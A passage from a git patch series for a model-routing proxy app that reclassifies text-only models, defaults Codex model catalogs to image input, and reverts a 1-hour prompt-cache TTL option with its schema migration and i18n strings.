normalized.strip_suffix(crate::claude_desktop_config::ONE_M_CONTEXT_MARKER) - { - normalized = stripped.trim().to_string(); - } - normalized -} - #[cfg(test)] mod tests { use super::*; @@ -431,7 +304,7 @@ mod tests { } #[test] - fn known_text_only_models_replace_images_before_send() { + fn confirmed_text_only_models_replace_images_before_send() { let provider = provider(json!({})); let mut body = json!({ "model": "deepseek/deepseek-v4-pro", @@ -453,7 +326,7 @@ mod tests { } #[test] - fn known_text_only_models_replace_chat_image_url_before_send() { + fn confirmed_text_only_models_replace_chat_image_url_before_send() { let provider = provider(json!({})); let mut body = json!({ "model": "deepseek-v4-flash", @@ -477,7 +350,7 @@ mod tests { } #[test] - fn known_text_only_models_replace_codex_input_image_before_send() { + fn confirmed_text_only_models_replace_codex_input_image_before_send() { let provider = provider(json!({})); let mut body = json!({ "model": "deepseek-v4-flash", @@ -504,9 +377,9 @@ mod tests { fn longcat_models_are_classified_text_only() { // LongCat-2.0 (like the retired Flash Chat) is a text-only model; the // preset ships it in mixed case, so the classifier must normalize first. - assert!(known_text_only_model("LongCat-2.0")); - assert!(known_text_only_model("longcat/LongCat-2.0")); - assert!(known_text_only_model("LongCat-Flash-Chat")); + assert!(confirmed_text_only_model("LongCat-2.0")); + assert!(confirmed_text_only_model("longcat/LongCat-2.0")); + assert!(confirmed_text_only_model("LongCat-Flash-Chat")); } #[test] @@ -662,7 +535,7 @@ mod tests { } #[test] - fn known_text_only_prefixes_replace_images_before_send() { + fn confirmed_text_only_variant_replaces_images_before_send() { let provider = provider(json!({})); let mut body = json!({ "model": "therouter/qwen/qwen3-coder-480b", @@ -761,11 +634,11 @@ mod tests { fn glm_52_is_classified_text_only() { // issue #5025:火山 Coding Plan 的 GLM 5.2 是纯文本端点, // 映射链 glm-5.2[1M] 归一化后尾部为 glm-5.2。 - assert!(known_text_only_model("glm-5.2")); - assert!(known_text_only_model("GLM-5.2[1M]")); - assert!(known_text_only_model("zai-org/GLM-5.2")); + assert!(confirmed_text_only_model("glm-5.2")); + assert!(confirmed_text_only_model("GLM-5.2[1M]")); + assert!(confirmed_text_only_model("zai-org/GLM-5.2")); // 未来视觉版(智谱 4v/5v 命名惯例)不能被误判为纯文本。 - assert!(!known_text_only_model("glm-5.2v")); + assert!(!confirmed_text_only_model("glm-5.2v")); } #[test] diff --git a/src-tauri/src/proxy/types.rs b/src-tauri/src/proxy/types.rs index f2dfc5800..6dc5bc659 100644 --- a/src-tauri/src/proxy/types.rs +++ b/src-tauri/src/proxy/types.rs @@ -219,11 +219,11 @@ pub struct RectifierConfig { /// 让对话不中断。总开关,管辖「显式声明 text-only」与「上游报错后兜底」两条事实驱动路径。 #[serde(default = "default_true")] pub request_media_fallback: bool, - /// 请求整流:启发式 text-only 模型名匹配(默认开启) + /// 请求整流:确认纯文本注册表的发送前降级(默认开启) /// - /// 在模型未声明能力时,按内置模型名列表预测性地剥离图片(发送前)。 - /// 受 request_media_fallback 管辖;单独关闭后仅保留「显式声明」与「上游兜底」, - /// 避免内置列表把多模态模型误判成 text-only 而静默剥图。 + /// 在模型未声明能力时,按内置的确认纯文本注册表预先剥离图片。 + /// 受 request_media_fallback 管辖;单独关闭只停用代理的注册表预判, + /// 仍保留「显式声明」与「上游兜底」,且不改变 Codex 模型目录声明。 #[serde(default = "default_true")] pub request_media_heuristic: bool, } diff --git a/src-tauri/src/resources/codex_native_responses_template.json b/src-tauri/src/resources/codex_native_responses_template.json index a513fe1db..644a5123b 100644 --- a/src-tauri/src/resources/codex_native_responses_template.json +++ b/src-tauri/src/resources/codex_native_responses_template.json @@ -32,7 +32,8 @@ "effective_context_window_percent": 95, "experimental_supported_tools": [], "input_modalities": [ - "text" + "text", + "image" ], "supports_search_tool": false } diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 9dcf52948..98398734e 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -1108,6 +1108,135 @@ command = "legacy-cmd" ); } + #[tokio::test] + #[serial] + async fn update_current_codex_provider_refreshes_and_clears_catalog_during_takeover() { + let _home = TempHome::new(); + crate::settings::reload_settings().expect("reload settings"); + + let db = Arc::new(Database::memory().expect("init db")); + let state = AppState::new(db.clone()); + + let mut original = Provider::with_id( + "p1".into(), + "Codex A".into(), + json!({ + "auth": { "OPENAI_API_KEY": "token-a" }, + "config": r#"model_provider = "custom" +model = "old-model" + +[model_providers.custom] +name = "Codex A" +base_url = "https://api.a.example/v1" +wire_api = "responses" +requires_openai_auth = true +"#, + "modelCatalog": { + "models": [{ "model": "old-model" }] + } + }), + None, + ); + original.meta = Some(ProviderMeta { + api_format: Some("openai_responses".into()), + ..Default::default() + }); + db.save_provider("codex", &original).expect("save provider"); + db.set_current_provider("codex", "p1") + .expect("set current provider"); + crate::settings::set_current_provider(&AppType::Codex, Some("p1")) + .expect("set local current provider"); + + db.update_proxy_config(ProxyConfig { + live_takeover_active: true, + listen_port: 0, + ..Default::default() + }) + .await + .expect("update proxy config"); + { + let mut config = db + .get_proxy_config_for_app("codex") + .await + .expect("get app proxy config"); + config.enabled = true; + db.update_proxy_config_for_app(config) + .await + .expect("enable Codex proxy config"); + } + db.save_live_backup( + "codex", + &serde_json::to_string(&original.settings_config).expect("serialize backup"), + ) + .await + .expect("seed live backup"); + + state + .proxy_service + .start() + .await + .expect("start proxy service"); + state + .proxy_service + .sync_codex_live_from_provider_while_proxy_active(&original) + .await + .expect("seed taken-over Codex live config"); + assert!( + state + .proxy_service + .detect_takeover_in_live_config_for_app(&AppType::Codex), + "seeded Codex live config should be recognized as takeover-owned" + ); + + let mut updated = original.clone(); + updated.settings_config["config"] = json!( + r#"model_provider = "custom" +model = "gpt-5.4" + +[model_providers.custom] +name = "Codex A" +base_url = "https://api.updated.example/v1" +wire_api = "responses" +requires_openai_auth = true +"# + ); + updated.settings_config["modelCatalog"] = json!({ + "models": [{ "model": "gpt-5.4", "displayName": "GPT 5.4" }] + }); + + ProviderService::update(&state, AppType::Codex, None, updated.clone()) + .expect("update current Codex provider mapping"); + + let catalog_path = crate::codex_config::get_codex_model_catalog_path(); + let catalog: Value = read_json_file(&catalog_path).expect("read generated catalog"); + assert_eq!(catalog["models"][0]["slug"], "gpt-5.4"); + assert_eq!( + catalog["models"][0]["input_modalities"], + json!(["text", "image"]), + "unknown/GPT models must fail open to image input" + ); + let live_config = fs::read_to_string(crate::codex_config::get_codex_config_path()) + .expect("read Codex config.toml"); + assert!(live_config.contains("model_catalog_json")); + + updated.settings_config["modelCatalog"] = json!({ "models": [] }); + ProviderService::update(&state, AppType::Codex, None, updated) + .expect("remove current Codex provider mapping"); + + let live_config = fs::read_to_string(crate::codex_config::get_codex_config_path()) + .expect("read Codex config.toml after mapping removal"); + assert!( + !live_config.contains("model_catalog_json"), + "removing mappings during takeover must clear the stale catalog pointer" + ); + + state + .proxy_service + .stop() + .await + .expect("stop proxy service"); + } + #[cfg(any(target_os = "macos", windows))] #[tokio::test] #[serial] @@ -2191,15 +2320,28 @@ impl ProviderService { .map_err(|e| AppError::Message(format!("更新 Live 备份失败: {e}")))?; } - if matches!(app_type, AppType::Claude) - && futures::executor::block_on(state.proxy_service.is_running()) - { - futures::executor::block_on( - state - .proxy_service - .sync_claude_live_from_provider_while_proxy_active(&provider), - ) - .map_err(|e| AppError::Message(format!("同步 Claude Live 配置失败: {e}")))?; + if futures::executor::block_on(state.proxy_service.is_running()) { + if matches!(app_type, AppType::Claude) { + futures::executor::block_on( + state + .proxy_service + .sync_claude_live_from_provider_while_proxy_active(&provider), + ) + .map_err(|e| { + AppError::Message(format!("同步 Claude Live 配置失败: {e}")) + })?; + } else if live_taken_over && matches!(app_type, AppType::Codex) { + // Codex model mappings are projected into a generated + // model_catalog_json file. Refresh takeover-owned Live + // immediately so adding/removing mappings cannot leave + // the previous catalog pointer and capabilities active. + futures::executor::block_on( + state + .proxy_service + .sync_codex_live_from_provider_while_proxy_active(&provider), + ) + .map_err(|e| AppError::Message(format!("同步 Codex Live 配置失败: {e}")))?; + } } } else { write_live_with_common_config(state.db.as_ref(), &app_type, &provider)?; diff --git a/src/config/codexProviderPresets.ts b/src/config/codexProviderPresets.ts index c498a821b..461200764 100644 --- a/src/config/codexProviderPresets.ts +++ b/src/config/codexProviderPresets.ts @@ -80,8 +80,9 @@ function modelCatalog( displayName?: string; contextWindow?: number; // Native Responses (direct) overrides for the generated - // model-catalogs.json; omit to inherit the native template defaults - // (supports_parallel_tool_calls=false, input_modalities=["text"]). + // model-catalogs.json. Omitted input modalities are inferred by the + // backend: confirmed text-only models stay text-only; everything else + // defaults to text+image. supportsParallelToolCalls?: boolean; inputModalities?: string[]; // Vendor's OFFICIAL base_instructions; omit to inherit the neutral diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 8ddcb7d08..e5653879b 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -382,8 +382,8 @@ "thinkingBudgetDescription": "When an Anthropic-type provider returns budget_tokens constraint errors (such as at least 1024), automatically normalizes thinking to enabled, sets thinking budget to 32000, and raises max_tokens to 64000 if needed, then retries once", "mediaFallback": "Unsupported Image Fallback", "mediaFallbackDescription": "When a provider does not support image input (it declares text-only capability, or the upstream returns an unsupported-image error), automatically replaces image blocks with an [Unsupported Image] marker so the conversation is not interrupted", - "mediaHeuristic": "Heuristic Text-Only Model Detection", - "mediaHeuristicDescription": "Predictively strips images before sending based on a built-in model-name list. When off, only the declared-text-only and upstream-error fallback paths remain, preventing the built-in list from misclassifying a multimodal model as text-only and silently dropping images" + "mediaHeuristic": "Text-Only Model Preflight", + "mediaHeuristicDescription": "Before sending, strips images for models in the built-in confirmed text-only registry. Turning this off only disables the proxy's registry-based preflight; declared text-only handling and upstream-error fallback remain, and Codex model-catalog capability declarations are unchanged" }, "optimizer": { "title": "Bedrock Request Optimizer", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 5e5494663..df6cb7787 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -382,8 +382,8 @@ "thinkingBudgetDescription": "Anthropic タイプのプロバイダーが budget_tokens 制約エラー(例: 1024 以上)を返した場合、thinking を enabled に正規化し、thinking 予算を 32000 に設定し、必要に応じて max_tokens を 64000 に引き上げて 1 回リトライします", "mediaFallback": "非対応画像フォールバック", "mediaFallbackDescription": "プロバイダーが画像入力に対応していない場合(テキストのみの能力が宣言されている、または上流が画像非対応エラーを返した場合)、画像ブロックを [Unsupported Image] マーカーに自動置換し、会話を中断させません", - "mediaHeuristic": "ヒューリスティックなテキスト専用モデル判定", - "mediaHeuristicDescription": "送信前に内蔵モデル名リストに基づいて画像を予測的に削除します。オフにすると「宣言済みテキスト専用」と「上流エラー時のフォールバック」のみが残り、内蔵リストがマルチモーダルモデルをテキスト専用と誤判定して画像を静かに削除するのを防ぎます" + "mediaHeuristic": "テキスト専用モデルの事前判定", + "mediaHeuristicDescription": "送信前に、内蔵の確認済みテキスト専用モデル登録に基づいて画像を除去します。オフにしても無効になるのはプロキシの登録ベース事前処理だけで、宣言済みテキスト専用モデルの処理と上流エラー時のフォールバックは残り、Codex モデルカタログの能力宣言は変わりません" }, "optimizer": { "title": "Bedrock リクエストオプティマイザー", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 513f40e9b..9b4adeed5 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -382,8 +382,8 @@ "thinkingBudgetDescription": "當 Anthropic 類型供應商回傳 budget_tokens 限制錯誤(如至少 1024)時,自動將 thinking 規範為 enabled,並將 budget 設為 32000,同時在需要時將 max_tokens 設為 64000,然後重試一次", "mediaFallback": "不支援圖片降級", "mediaFallbackDescription": "當供應商不支援圖片輸入時(已宣告純文字能力,或上游回傳不支援圖片的錯誤),自動將圖片區塊替換為 [Unsupported Image] 標記,使對話不中斷", - "mediaHeuristic": "啟發式純文字模型辨識", - "mediaHeuristicDescription": "傳送前依內建模型名稱清單預測性地移除圖片。關閉後僅保留「已宣告純文字」與「上游錯誤兜底」兩條事實驅動路徑,避免內建清單將多模態模型誤判為純文字而靜默丟失圖片" + "mediaHeuristic": "純文字模型預判", + "mediaHeuristicDescription": "傳送前依內建的已確認純文字模型登錄表移除圖片。關閉只會停用代理的登錄表預判;已宣告純文字模型的處理與上游錯誤兜底仍會保留,且不會改變 Codex 模型目錄的能力宣告" }, "optimizer": { "title": "Bedrock 請求最佳化工具", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 0398e58dc..d7cb2e15d 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -382,8 +382,8 @@ "thinkingBudgetDescription": "当 Anthropic 类型供应商返回 budget_tokens 约束错误(如至少 1024)时,自动将 thinking 规范为 enabled 并将 budget 设为 32000,同时在需要时将 max_tokens 设为 64000,然后重试一次", "mediaFallback": "不支持图片降级", "mediaFallbackDescription": "当供应商不支持图片输入时(已声明纯文本能力,或上游返回不支持图片的错误),自动将图片块替换为 [Unsupported Image] 标记,使对话不中断", - "mediaHeuristic": "启发式纯文本模型识别", - "mediaHeuristicDescription": "发送前按内置模型名列表预测性剥离图片。关闭后仅保留「已声明纯文本」与「上游报错兜底」两条事实驱动路径,避免内置列表把多模态模型误判为纯文本而静默丢图" + "mediaHeuristic": "纯文本模型预判", + "mediaHeuristicDescription": "发送前根据内置的已确认纯文本模型注册表剥离图片。关闭仅停用代理的注册表预判;已声明纯文本模型的处理和上游报错兜底仍保留,且不会改变 Codex 模型目录的能力声明" }, "optimizer": { "title": "Bedrock 请求优化器", diff --git a/src/types.ts b/src/types.ts index 0f9eccb50..afb99def3 100644 --- a/src/types.ts +++ b/src/types.ts @@ -260,9 +260,9 @@ export interface CodexCatalogModel { model: string; displayName?: string; contextWindow?: string | number; - // Native Responses (direct) profile overrides for the generated - // model-catalogs.json. Ignored by the chat/proxy profile. - // e.g. MiniMax: supportsParallelToolCalls=true, inputModalities=["text","image"]. + // Hidden provider capability metadata for the generated model catalog. + // supportsParallelToolCalls is native-profile-only; inputModalities wins over + // automatic text-only model detection for every profile. supportsParallelToolCalls?: boolean; inputModalities?: string[]; // Vendor's OFFICIAL base_instructions (model identity / system preamble). From 6eb217b242576b8d8c4bb0a6bdb4f76fbef75c5c Mon Sep 17 00:00:00 2001 From: Jason Date: Mon, 13 Jul 2026 17:55:33 +0800 Subject: [PATCH 69/73] revert(proxy): drop the 1-hour cache TTL option and TTL-bucketed write accounting The forced 1-hour cache_control TTL (schema v14) was a mistake. Injected breakpoints return to Anthropic's standard 5-minute TTL, caller-owned markers are preserved verbatim instead of having their TTLs rewritten, and the 5m/1h cache-write buckets are removed from usage parsing and pricing (back to the single aggregate cache-creation rate). The cache TTL selector is removed from the rectifier settings panel along with its i18n keys in all four locales. SCHEMA_VERSION returns to 13: the unreleased cache_creation_1h_tokens column and the v13->v14 migration are removed. The feature never shipped in a release and the introducing commit was never pushed, so no databases were stamped v14 outside this machine (local DB verified at user_version 13). --- src-tauri/src/commands/settings.rs | 9 -- src-tauri/src/database/mod.rs | 2 +- src-tauri/src/database/schema.rs | 29 +----- src-tauri/src/proxy/cache_injector.rs | 97 ++++-------------- src-tauri/src/proxy/forwarder.rs | 5 +- .../providers/transform_codex_anthropic.rs | 17 +--- src-tauri/src/proxy/response_processor.rs | 12 +-- src-tauri/src/proxy/thinking_optimizer.rs | 2 - src-tauri/src/proxy/types.rs | 8 -- src-tauri/src/proxy/usage/calculator.rs | 46 +-------- src-tauri/src/proxy/usage/logger.rs | 6 +- src-tauri/src/proxy/usage/parser.rs | 85 +--------------- src-tauri/src/services/session_usage.rs | 2 - src-tauri/src/services/session_usage_codex.rs | 2 - .../src/services/session_usage_gemini.rs | 2 - .../src/services/session_usage_opencode.rs | 2 - src-tauri/src/services/usage_stats.rs | 99 ++++--------------- .../settings/RectifierConfigPanel.tsx | 26 ----- src/i18n/locales/en.json | 5 +- src/i18n/locales/ja.json | 5 +- src/i18n/locales/zh-TW.json | 5 +- src/i18n/locales/zh.json | 5 +- src/lib/api/settings.ts | 1 - 23 files changed, 56 insertions(+), 416 deletions(-) diff --git a/src-tauri/src/commands/settings.rs b/src-tauri/src/commands/settings.rs index 8e4c08964..ec508d792 100644 --- a/src-tauri/src/commands/settings.rs +++ b/src-tauri/src/commands/settings.rs @@ -661,15 +661,6 @@ pub async fn set_optimizer_config( state: tauri::State<'_, crate::AppState>, config: crate::proxy::types::OptimizerConfig, ) -> Result { - // Validate cache_ttl: only allow known values - match config.cache_ttl.as_str() { - "5m" | "1h" => {} - other => { - return Err(format!( - "Invalid cache_ttl value: '{other}'. Allowed values: '5m', '1h'" - )) - } - } state .db .set_optimizer_config(&config) diff --git a/src-tauri/src/database/mod.rs b/src-tauri/src/database/mod.rs index fa0652312..d7ba00104 100644 --- a/src-tauri/src/database/mod.rs +++ b/src-tauri/src/database/mod.rs @@ -52,7 +52,7 @@ use std::sync::Mutex; /// 当前 Schema 版本号 /// 每次修改表结构时递增,并在 schema.rs 中添加相应的迁移逻辑 -pub(crate) const SCHEMA_VERSION: i32 = 14; +pub(crate) const SCHEMA_VERSION: i32 = 13; /// 安全地序列化 JSON,避免 unwrap panic pub(crate) fn to_json_string(value: &T) -> Result { diff --git a/src-tauri/src/database/schema.rs b/src-tauri/src/database/schema.rs index ea0de90c2..14bb0637c 100644 --- a/src-tauri/src/database/schema.rs +++ b/src-tauri/src/database/schema.rs @@ -189,7 +189,6 @@ impl Database { pricing_model TEXT, input_tokens INTEGER NOT NULL DEFAULT 0, output_tokens INTEGER NOT NULL DEFAULT 0, cache_read_tokens INTEGER NOT NULL DEFAULT 0, cache_creation_tokens INTEGER NOT NULL DEFAULT 0, - cache_creation_1h_tokens INTEGER NOT NULL DEFAULT 0, input_token_semantics INTEGER NOT NULL DEFAULT 0, input_cost_usd TEXT NOT NULL DEFAULT '0', output_cost_usd TEXT NOT NULL DEFAULT '0', cache_read_cost_usd TEXT NOT NULL DEFAULT '0', cache_creation_cost_usd TEXT NOT NULL DEFAULT '0', @@ -486,11 +485,6 @@ impl Database { Self::migrate_v12_to_v13(conn)?; Self::set_user_version(conn, 13)?; } - 13 => { - log::info!("迁移数据库从 v13 到 v14(记录 1 小时缓存写入 token)"); - Self::migrate_v13_to_v14(conn)?; - Self::set_user_version(conn, 14)?; - } _ => { return Err(AppError::Database(format!( "未知的数据库版本 {version},无法迁移到 {SCHEMA_VERSION}" @@ -1360,22 +1354,6 @@ impl Database { Ok(()) } - /// v13 -> v14:持久化 Anthropic 1-hour cache-write bucket。 - /// 5-minute/unknown writes can be derived from aggregate cache_creation_tokens; - /// storing only the premium bucket keeps existing aggregate APIs stable while - /// allowing later cost backfills to retain correct TTL pricing. - fn migrate_v13_to_v14(conn: &Connection) -> Result<(), AppError> { - if Self::table_exists(conn, "proxy_request_logs")? { - Self::add_column_if_missing( - conn, - "proxy_request_logs", - "cache_creation_1h_tokens", - "INTEGER NOT NULL DEFAULT 0", - )?; - } - Ok(()) - } - /// 插入默认模型定价数据 /// 格式: (model_id, display_name, input, output, cache_read, cache_creation) /// 注意: model_id 使用短横线格式(如 claude-haiku-4-5),与 API 返回的模型名称标准化后一致 @@ -2788,7 +2766,7 @@ mod tests { Database::apply_schema_migrations_on_conn(&conn)?; - assert_eq!(Database::get_user_version(&conn)?, 14); + assert_eq!(Database::get_user_version(&conn)?, 13); assert!(Database::has_column( &conn, "proxy_request_logs", @@ -2799,11 +2777,6 @@ mod tests { "usage_daily_rollups", "input_token_semantics" )?); - assert!(Database::has_column( - &conn, - "proxy_request_logs", - "cache_creation_1h_tokens" - )?); let log_default: i64 = conn.query_row( "SELECT dflt_value = '0' FROM pragma_table_info('proxy_request_logs') WHERE name = 'input_token_semantics'", diff --git a/src-tauri/src/proxy/cache_injector.rs b/src-tauri/src/proxy/cache_injector.rs index dd84d955e..5ed524684 100644 --- a/src-tauri/src/proxy/cache_injector.rs +++ b/src-tauri/src/proxy/cache_injector.rs @@ -22,19 +22,9 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { ); } - // 升级已有断点的 TTL - upgrade_existing_ttl(body, &config.cache_ttl); - let mut budget = 4_usize.saturating_sub(existing); if budget == 0 { - if existing > 0 { - log::info!( - "[OPT] cache: ttl-upgrade({existing}->{},existing={existing})", - config.cache_ttl - ); - } else { - log::info!("[OPT] cache: no-op(existing={existing})"); - } + log::info!("[OPT] cache: no-op(existing={existing})"); return; } @@ -46,10 +36,7 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { if let Some(last) = tools.last_mut() { if last.get("cache_control").is_none() { if let Some(o) = last.as_object_mut() { - o.insert( - "cache_control".to_string(), - make_cache_control(&config.cache_ttl), - ); + o.insert("cache_control".to_string(), make_cache_control()); } budget -= 1; injected.push("tools"); @@ -73,10 +60,7 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { if let Some(last) = system.last_mut() { if last.get("cache_control").is_none() { if let Some(o) = last.as_object_mut() { - o.insert( - "cache_control".to_string(), - make_cache_control(&config.cache_ttl), - ); + o.insert("cache_control".to_string(), make_cache_control()); } budget -= 1; injected.push("system"); @@ -90,7 +74,7 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { if budget > 0 { if let Some(messages) = body.get_mut("messages").and_then(|m| m.as_array_mut()) { for message in messages.iter_mut().rev() { - if inject_message_breakpoint(message, &config.cache_ttl) { + if inject_message_breakpoint(message) { budget -= 1; injected.push("msgs-latest"); break; @@ -108,7 +92,7 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { } user_count += 1; if user_count == 2 { - if inject_message_breakpoint(message, &config.cache_ttl) { + if inject_message_breakpoint(message) { injected.push("msgs-prior-user"); } break; @@ -122,11 +106,11 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { "[OPT] cache: {}bp({},{},pre={existing})", injected.len(), injected.join("+"), - config.cache_ttl, + "5m", ); } -fn inject_message_breakpoint(message: &mut Value, ttl: &str) -> bool { +fn inject_message_breakpoint(message: &mut Value) -> bool { let Some(content) = message.get_mut("content").and_then(Value::as_array_mut) else { return false; }; @@ -144,16 +128,12 @@ fn inject_message_breakpoint(message: &mut Value, ttl: &str) -> bool { let Some(object) = block.as_object_mut() else { return false; }; - object.insert("cache_control".to_string(), make_cache_control(ttl)); + object.insert("cache_control".to_string(), make_cache_control()); true } -fn make_cache_control(ttl: &str) -> Value { - if ttl == "5m" { - json!({"type": "ephemeral"}) - } else { - json!({"type": "ephemeral", "ttl": ttl}) - } +fn make_cache_control() -> Value { + json!({"type": "ephemeral"}) } fn count_existing(body: &Value) -> usize { @@ -187,40 +167,6 @@ fn count_existing(body: &Value) -> usize { count } -fn upgrade_existing_ttl(body: &mut Value, ttl: &str) { - let upgrade = |val: &mut Value| { - if let Some(cc) = val.get_mut("cache_control").and_then(|c| c.as_object_mut()) { - if ttl == "5m" { - cc.remove("ttl"); - } else { - cc.insert("ttl".to_string(), json!(ttl)); - } - } - }; - - if let Some(tools) = body.get_mut("tools").and_then(|t| t.as_array_mut()) { - for tool in tools.iter_mut() { - upgrade(tool); - } - } - - if let Some(system) = body.get_mut("system").and_then(|s| s.as_array_mut()) { - for block in system.iter_mut() { - upgrade(block); - } - } - - if let Some(messages) = body.get_mut("messages").and_then(|m| m.as_array_mut()) { - for msg in messages.iter_mut() { - if let Some(content) = msg.get_mut("content").and_then(|c| c.as_array_mut()) { - for block in content.iter_mut() { - upgrade(block); - } - } - } - } -} - #[cfg(test)] mod tests { use super::*; @@ -231,7 +177,6 @@ mod tests { enabled: true, thinking_optimizer: true, cache_injection: true, - cache_ttl: "1h".to_string(), } } @@ -262,7 +207,7 @@ mod tests { // tools last element assert!(body["tools"][1].get("cache_control").is_some()); - assert_eq!(body["tools"][1]["cache_control"]["ttl"], "1h"); + assert!(body["tools"][1]["cache_control"].get("ttl").is_none()); // system last element assert!(body["system"][0].get("cache_control").is_some()); // assistant last non-thinking block @@ -296,26 +241,26 @@ mod tests { } #[test] - fn test_existing_four_breakpoints_only_upgrades_ttl() { + fn test_existing_four_breakpoints_preserve_caller_ttl() { let mut body = json!({ "model": "test", "tools": [ - {"name": "t1", "cache_control": {"type": "ephemeral", "ttl": "5m"}}, - {"name": "t2", "cache_control": {"type": "ephemeral", "ttl": "5m"}} + {"name": "t1", "cache_control": {"type": "ephemeral", "ttl": "1h"}}, + {"name": "t2", "cache_control": {"type": "ephemeral", "ttl": "1h"}} ], "system": [ - {"type": "text", "text": "sys", "cache_control": {"type": "ephemeral", "ttl": "5m"}} + {"type": "text", "text": "sys", "cache_control": {"type": "ephemeral", "ttl": "1h"}} ], "messages": [ {"role": "assistant", "content": [ - {"type": "text", "text": "ok", "cache_control": {"type": "ephemeral", "ttl": "5m"}} + {"type": "text", "text": "ok", "cache_control": {"type": "ephemeral", "ttl": "1h"}} ]} ] }); inject(&mut body, &default_config()); - // All TTLs upgraded to 1h, no new breakpoints + // Existing markers are caller-owned; only newly injected markers are fixed to 5m. assert_eq!(body["tools"][0]["cache_control"]["ttl"], "1h"); assert_eq!(body["tools"][1]["cache_control"]["ttl"], "1h"); assert_eq!(body["system"][0]["cache_control"]["ttl"], "1h"); @@ -393,18 +338,14 @@ mod tests { } #[test] - fn test_ttl_5m_no_ttl_field() { - let config = OptimizerConfig { - cache_ttl: "5m".to_string(), - ..default_config() - }; + fn test_standard_five_minute_cache_control_omits_ttl() { let mut body = json!({ "model": "test", "tools": [{"name": "tool1"}], "messages": [{"role": "user", "content": [{"type": "text", "text": "hi"}]}] }); - inject(&mut body, &config); + inject(&mut body, &default_config()); let cc = &body["tools"][0]["cache_control"]; assert_eq!(cc["type"], "ephemeral"); diff --git a/src-tauri/src/proxy/forwarder.rs b/src-tauri/src/proxy/forwarder.rs index 7759b61cb..1df83e2d7 100644 --- a/src-tauri/src/proxy/forwarder.rs +++ b/src-tauri/src/proxy/forwarder.rs @@ -2859,13 +2859,13 @@ fn responses_error_envelope_message(body: &[u8]) -> Option { /// Prompt caching is part of the Codex→Anthropic protocol bridge rather than an /// optional Bedrock optimizer. Codex requests do not contain Anthropic /// `cache_control`, so keep bridge caching on by default while still honoring the -/// dedicated cache-injection switch and configured TTL. +/// dedicated cache-injection switch. Injected breakpoints always use Anthropic's +/// standard 5-minute TTL. fn codex_anthropic_cache_config(config: &OptimizerConfig) -> OptimizerConfig { OptimizerConfig { enabled: true, thinking_optimizer: false, cache_injection: config.cache_injection, - cache_ttl: config.cache_ttl.clone(), } } @@ -4233,7 +4233,6 @@ mod tests { let default = codex_anthropic_cache_config(&OptimizerConfig::default()); assert!(default.enabled); assert!(default.cache_injection); - assert_eq!(default.cache_ttl, "1h"); let disabled = codex_anthropic_cache_config(&OptimizerConfig { cache_injection: false, diff --git a/src-tauri/src/proxy/providers/transform_codex_anthropic.rs b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs index 0cbd457f1..a45e99aed 100644 --- a/src-tauri/src/proxy/providers/transform_codex_anthropic.rs +++ b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs @@ -191,11 +191,6 @@ pub(crate) fn build_responses_usage_from_anthropic(usage: Option<&Value>) -> Val if cache_creation > 0 { result["cache_creation_input_tokens"] = json!(cache_creation); } - if let Some(cache_creation_details) = u.get("cache_creation") { - // Preserve Anthropic's TTL buckets as a compatibility extension. The usage - // parser consumes these to distinguish 5-minute and 1-hour write pricing. - result["cache_creation"] = cache_creation_details.clone(); - } result } @@ -2318,11 +2313,7 @@ mod tests { "output_tokens": 5, "output_tokens_details": {"thinking_tokens": 3}, "cache_read_input_tokens": 60, - "cache_creation_input_tokens": 20, - "cache_creation": { - "ephemeral_5m_input_tokens": 5, - "ephemeral_1h_input_tokens": 15 - } + "cache_creation_input_tokens": 20 } }); let result = anthropic_response_to_responses(input).unwrap(); @@ -2340,12 +2331,8 @@ mod tests { result["usage"]["input_tokens_details"]["cache_write_tokens"], 20 ); - // cache_creation is passed through explicitly for downstream billing attribution (counted only once) + // Aggregate cache creation is exposed for downstream billing attribution (counted only once). assert_eq!(result["usage"]["cache_creation_input_tokens"], 20); - assert_eq!( - result["usage"]["cache_creation"]["ephemeral_1h_input_tokens"], - 15 - ); } #[test] diff --git a/src-tauri/src/proxy/response_processor.rs b/src-tauri/src/proxy/response_processor.rs index 20b4eb039..238e14420 100644 --- a/src-tauri/src/proxy/response_processor.rs +++ b/src-tauri/src/proxy/response_processor.rs @@ -645,14 +645,12 @@ async fn log_usage_internal( let request_id = usage.dedup_request_id(); log::debug!( - "[{app_type}] 记录请求日志: id={request_id}, provider={provider_id}, model={model}, streaming={is_streaming}, status={status_code}, latency_ms={latency_ms}, first_token_ms={first_token_ms:?}, session={}, input={}, output={}, cache_read={}, cache_creation={}, cache_creation_5m={}, cache_creation_1h={}", + "[{app_type}] 记录请求日志: id={request_id}, provider={provider_id}, model={model}, streaming={is_streaming}, status={status_code}, latency_ms={latency_ms}, first_token_ms={first_token_ms:?}, session={}, input={}, output={}, cache_read={}, cache_creation={}", session_id.as_deref().unwrap_or("none"), usage.input_tokens, usage.output_tokens, usage.cache_read_tokens, - usage.cache_creation_tokens, - usage.cache_creation_5m_tokens, - usage.cache_creation_1h_tokens + usage.cache_creation_tokens ); if let Err(e) = logger.log_with_calculation( @@ -1006,8 +1004,6 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -1076,8 +1072,6 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - 